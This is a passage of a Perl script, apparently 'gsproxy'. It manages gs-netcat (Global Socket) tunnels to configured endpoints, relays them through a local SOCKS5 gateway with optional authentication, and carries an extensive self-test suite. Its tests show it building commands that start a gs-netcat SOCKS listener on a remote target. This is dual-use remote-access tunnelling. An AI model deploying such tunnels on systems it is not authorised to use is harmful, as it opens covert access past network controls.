    if (defined $p && $p == 0) {
      close $lsn;
      $c->autoflush(1);
      my $g = read_exact($c, 3, 5);
      if (defined $g) {
        syswrite($c, pack('C*', 5, 0));
        my $hdr = read_exact($c, 4, 5);
        if (defined $hdr) {
          my $atyp = ord(substr($hdr, 3, 1));
          if ($atyp == 1) { read_exact($c, 4, 5); }
          elsif ($atyp == 3) { my $l = read_exact($c, 1, 5); read_exact($c, ord($l), 5) if defined $l; }
          elsif ($atyp == 4) { read_exact($c, 16, 5); }
          read_exact($c, 2, 5);
          syswrite($c, pack('C*', 5, 0, 0, 1, 0, 0, 0, 0, 0, 0));
          while (1) {
            my $n = sysread($c, my $b, 4096);
            last unless defined $n && $n > 0;
            syswrite($c, $b);
          }
        }
      }
      exit 0;
    }
    close $c;
    1 while waitpid(-1, WNOHANG) > 0;
  }
}

sub auth_test {
  my ($u, $p) = @_;
  my $lsn = IO::Socket::INET->new(
    LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp',
    Listen => 1, ReuseAddr => 1,
  ) or return (0, 'no listen');
  my $port = $lsn->sockport;
  my $cli = IO::Socket::INET->new(
    PeerAddr => '127.0.0.1', PeerPort => $port, Proto => 'tcp', Timeout => 3,
  ) or return (0, 'no connect');
  my $srv = $lsn->accept;
  close $lsn;
  my $pid = fork();
  return (0, 'no fork') unless defined $pid;
  if ($pid == 0) {
    my $r = socks_auth_client($srv);
    exit($r ? 0 : 1);
  }
  $cli->autoflush(1);
  syswrite($cli, pack('C*', 5, 1, 2));
  my $m = read_exact($cli, 2, 3);
  my $ar;
  if (defined $m && ord(substr($m, 1, 1)) == 2) {
    syswrite($cli, pack('C*', 1, length($u)) . $u . pack('C', length($p)) . $p);
    $ar = read_exact($cli, 2, 3);
  }
  waitpid($pid, 0);
  my $rc = $? >> 8;
  close $cli;
  close $srv;
  my $auth_ok = defined $ar && ord(substr($ar, 0, 1)) == 1 && ord(substr($ar, 1, 1)) == 0;
  my $detail = 'rc=' . $rc . ' auth=' . ($auth_ok ? 'ok' : 'bad')
    . ' method=' . (defined $m ? ord(substr($m, 1, 1)) : 'none');
  return ((($rc == 0) == $auth_ok) ? 1 : 0, $detail);
}

sub selftest {
  my $fails = 0;
  my $ok = sub {
    my ($cond, $name) = @_;
    if ($cond) { print 'PASS ' . $name . $NL; }
    else       { print 'FAIL ' . $name . $NL; $fails++; }
  };

  my $tmp = '/tmp';
  mkdir $tmp unless -d $tmp;

  my $csv = $tmp . '/gsproxy_selftest.csv';
  open my $cf, '>', $csv or die 'selftest: ' . $! . $NL;
  my @lines = (
    'endpoint,secret,port,label',
    'https://mcp.example.org,sekret123,20001,alpha',
    'https://mcp.other.org,topsecret9,20002,beta',
    '# a comment',
    '',
  );
  print $cf join($NL, @lines), $NL;
  close $cf;

  my $r = read_config($csv);
  $ok->(scalar(@$r) == 2, 'csv row count');
  $ok->($r->[0]{endpoint} eq 'https://mcp.example.org', 'csv endpoint');
  $ok->($r->[0]{secret} eq 'sekret123', 'csv secret');
  $ok->($r->[0]{port} == 20001, 'csv port');
  $ok->($r->[0]{label} eq 'alpha', 'csv label');

  my $tc = target_cmd('An71Z06C0al1710n');
  $ok->(index($tc, qq{'-lSD -s An71Z06C0al1710n'}) >= 0, 'target_cmd secret');
  $ok->(index($tc, q{$(uname -m)}) >= 0, 'target_cmd arch literal');

  my $tq = target_cmd('ab' . chr(39) . 'cd');
  $ok->(index($tq, chr(39) . chr(92) . chr(39)) >= 0, 'target_cmd quotes secret');

  my $td = teardown_cmd('sekret123');
  $ok->(index($td, 'GSOCKET_ARGS=-lSD -s sekret123') >= 0, 'teardown_cmd secret');

  $ok->(scalar(find_local_pids()) == 0, 'find_local_pids empty');

  $ok->(proc_is_gsproxy($$), 'proc_is_gsproxy self');
  $ok->(!proc_is_gsproxy(1), 'proc_is_gsproxy init');
  my $zpid = fork();
  if (defined $zpid && $zpid == 0) { exit 0; }
  sleep 0.2;
  $ok->((proc_state($zpid) // '') eq 'Z', 'proc_state zombie');
  waitpid($zpid, 0);

  register_secrets('sekret123');
  $ok->(redact('x sekret123 y sekret123') eq 'x se*** y se***', 'redact secret');
  $ok->(one_line('a sekret123 b') eq 'a se*** b', 'one_line redacts');

  $opt{target_sha256} = 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef';
  my $tc2 = target_cmd('sekret123');
  $ok->(index($tc2, "echo 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef  gs-netcat' | sha256sum -c -") >= 0, 'target_cmd sha256 pin');
  $opt{target_sha256} = undef;

  $opt{pidfile} = $tmp . '/gsproxy_selftest.pid';
  $ok->(acquire_lock(), 'lock acquire');
  my $lpid = fork();
  if (defined $lpid && $lpid == 0) {
    $lock_fh = undef;
    my $got = acquire_lock();
    exit($got ? 0 : 1);
  }
  waitpid($lpid, 0);
  $ok->(($? >> 8) == 1, 'lock exclusive across processes');
  release_lock();
  $ok->(acquire_lock(), 'lock reacquire after release');
  release_lock();

  $gw_auth_user = 'bob';
  $gw_auth_pass = 'pw';
  my ($ar1, $d1) = auth_test('bob', 'pw');
  $ok->($ar1, 'gateway auth accept (' . $d1 . ')');
  my ($ar2, $d2) = auth_test('bob', 'wrong');
  $ok->($ar2, 'gateway auth reject (' . $d2 . ')');
  $gw_auth_user = undef;
  $gw_auth_pass = undef;

  $opt{timeout} = 3;

  my $lsn = IO::Socket::INET->new(
    LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp',
    Listen => 16, ReuseAddr => 1,
  ) or die 'selftest: cannot listen: ' . $! . $NL;
  my $sport = $lsn->sockport;
  my $spid = fork();
  if (defined $spid && $spid == 0) { fake_socks_server($lsn); exit 0; }
  sleep 0.3;
  $ok->(socks_alive($sport), 'socks_alive live');

  my $dead = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1);
  my $dport = $dead->sockport;
  close $dead;
  $ok->(!socks_alive($dport), 'socks_alive dead');

  my $free = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1);
  my $gwport = $free->sockport;
  close $free;
  $opt{gateway} = $gwport;
  $opt{state} = $tmp . '/gsproxy_selftest.state';
  $opt{log}   = $tmp . '/gsproxy_selftest.log';
  open my $sf, '>', $opt{state} or die 'selftest state: ' . $! . $NL;
  print $sf $sport . $NL . $sport . $NL;
  close $sf;

  my $gwpid = start_gateway();
  sleep 0.3;

  my $cli = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => $gwport, Proto => 'tcp', Timeout => 3);
  if ($cli) {
    $cli->autoflush(1);
    syswrite($cli, pack('C*', 5, 1, 0));
    my $greply = read_exact($cli, 2, 3);
    $ok->(defined $greply && $greply eq pack('C*', 5, 0), 'gateway socks greeting');
    my $host = 'example.com';
    syswrite($cli, pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', 443));
    my $rep = read_exact($cli, 4, 3);
    $ok->(defined $rep && ord(substr($rep, 1, 1)) == 0, 'gateway CONNECT relayed');
    close $cli;
  } else {
    $ok->(0, 'gateway connect');
  }

  $gw_auth_user = 'bob';
  $gw_auth_pass = 'pw';
  my $free2 = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1);
  my $gwport2 = $free2->sockport;
  close $free2;
  $opt{gateway} = $gwport2;
  my $gwpid2 = start_gateway();
  sleep 0.3;
  my $auth_relay_ok = 0;
  my $cli2 = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => $gwport2, Proto => 'tcp', Timeout => 3);
  if ($cli2) {
    $cli2->autoflush(1);
    syswrite($cli2, pack('C*', 5, 1, 2));
    my $m2 = read_exact($cli2, 2, 3);
    if (defined $m2 && ord(substr($m2, 1, 1)) == 2) {
      syswrite($cli2, pack('C*', 1, 3) . 'bob' . pack('C', 2) . 'pw');
      my $ar2 = read_exact($cli2, 2, 3);
      if (defined $ar2 && ord(substr($ar2, 1, 1)) == 0) {
        my $host = 'example.com';
        syswrite($cli2, pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', 443));
        my $rep2 = read_exact($cli2, 10, 3);
        if (defined $rep2 && ord(substr($rep2, 1, 1)) == 0) {
          syswrite($cli2, 'ping');
          my $echo = read_exact($cli2, 4, 3);
          $auth_relay_ok = 1 if defined $echo && $echo eq 'ping';
        }
      }
    }
    close $cli2;
  }
  $ok->($auth_relay_ok, 'gateway auth relay end-to-end');
  $gw_auth_user = undef;
  $gw_auth_pass = undef;

  kill('TERM', $gwpid) if $gwpid;
  kill('TERM', $gwpid2) if $gwpid2;
  kill('TERM', $spid) if $spid;
  waitpid($gwpid, 0) if $gwpid;
  waitpid($gwpid2, 0) if $gwpid2;
  waitpid($spid, 0) if $spid;

  print($fails ? ('SELFTEST FAILED (' . $fails . ')' . $NL) : ('SELFTEST OK' . $NL));
  exit($fails ? 1 : 0);
}

my $rows = read_config($opt{config});

if ($opt{list}) {
  printf('%-40s %-14s %-6s %s' . $NL, 'ENDPOINT', 'SECRET', 'PORT', 'LABEL');
  for my $e (@$rows) {
    printf('%-40s %-14s %-6d %s' . $NL, $e->{endpoint}, mask($e->{secret}), $e->{port}, $e->{label});
  }
  exit 0;
}

die 'no usable rows in ' . $opt{config} . $NL unless @$rows;

register_secrets(map { $_->{secret} } @$rows);

my %port_label;
for my $e (@$rows) {
  if ($e->{port} == $opt{gateway}) {
    logmsg('warning: gateway port ' . $opt{gateway} . ' equals local port of ' . $e->{label});
  }
  if (defined $port_label{$e->{port}}) {
    logmsg('warning: local port ' . $e->{port} . ' is used by both ' . $port_label{$e->{port}} . ' and ' . $e->{label});
  } else {
    $port_label{$e->{port}} = $e->{label};
  }
  if (length($e->{secret}) < 8) {
    logmsg('warning: secret for ' . $e->{label} . ' is only ' . length($e->{secret}) . ' characters');
  }
}

check_config_perms($opt{config});

if (defined $opt{gateway_auth}) {
  ($gw_auth_user, $gw_auth_pass) = load_gateway_auth();
  unless (defined $gw_auth_user) {
    print 'gateway auth file ' . $opt{gateway_auth} . ' has no user:pass line' . $NL;
    exit 1;
  }
  my @st = stat($opt{gateway_auth});
  if (@st && ($st[2] & 0077)) {
    logmsg('warning: gateway auth file ' . $opt{gateway_auth} . ' is group/world readable; chmod 600');
  }
}

if ($opt{once} || !$opt{daemon}) {
  guard_start();
  run_foreground($rows);
  exit 0;
}

if (!$ENV{GSPROXY_DAEMON}) {
  guard_start();
  $ENV{GSPROXY_DAEMON} = 1;
  my $pid = fork();
  if ($pid) {
    print 'gsproxy daemon started (pid ' . $pid . ')' . $NL;
    exit 0;
  }
  setsid();
  open STDOUT, '>>', $opt{log};
  open STDERR, '>&STDOUT';
  open STDIN, '<', '/dev/null';
}

run_foreground($rows);
exit 0;